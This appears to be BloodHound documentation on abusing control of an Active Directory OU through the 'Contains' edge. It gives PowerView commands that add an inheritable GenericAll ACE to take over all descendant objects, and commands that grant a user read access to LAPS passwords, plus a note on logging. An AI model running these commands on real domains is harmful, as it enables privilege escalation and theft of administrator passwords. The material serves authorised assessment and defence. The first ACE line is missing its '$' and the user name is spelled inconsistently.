Contains

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This article applies to BHCE and BHE

GPOs linked to a container apply to all objects that are contained by the container. Additionally, ACEs set on a parent OU may inherit down to child objects.

Abuse Info

With control of an OU, you may add a new ACE on the OU that will inherit down to the objects under that OU. Below are two options depending on how targeted you choose to be in this step:

Generic Descendent Object Takeover

The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types. Again, this can be done using PowerView. This time we will use the New-ADObjectAccessControlEntry, which gives us more control over the ACE we add to the OU.

First, we need to reference the OU by its ObjectGUID, not its name. You can find the ObjectGUID for the OU in the BloodHound GUI by clicking the OU, then inspecting the objectid value

Next, we will fetch the GUID for all objects. This should be ‘00000000-0000-0000-0000-000000000000’:

$Guids = Get-DomainGUIDMap
$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name

Then we will construct our ACE. This command will create an ACE granting the “JKHOLER” user full control of all descendant objects:

ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'JKOHLER' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid

Finally, we will apply this ACE to our target OU:

$OU = Get-DomainOU -Raw (OU GUID)
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()

Now, the “JKOHLER” user will have full control of all descendent objects of each type.

Targeted Descendent Object Takeoever

If you want to be more targeted with your approach, it is possible to specify precisely what right you want to apply to precisely which kinds of descendent objects. You could, for example, grant a user “ForceChangePassword” privilege against all user objects, or grant a security group the ability to read every GMSA password under a certain OU. Below is an example taken from PowerView’s help text on how to grant the “ITADMIN” user the ability to read the LAPS password from all computer objects in the “Workstations” OU:

$Guids = Get-DomainGUIDMap
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
$OU = Get-DomainOU -Raw Workstations
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()

Opsec Considerations

Creation and modification of ACEs will be logged depending on the auditing setup on Domain Controllers.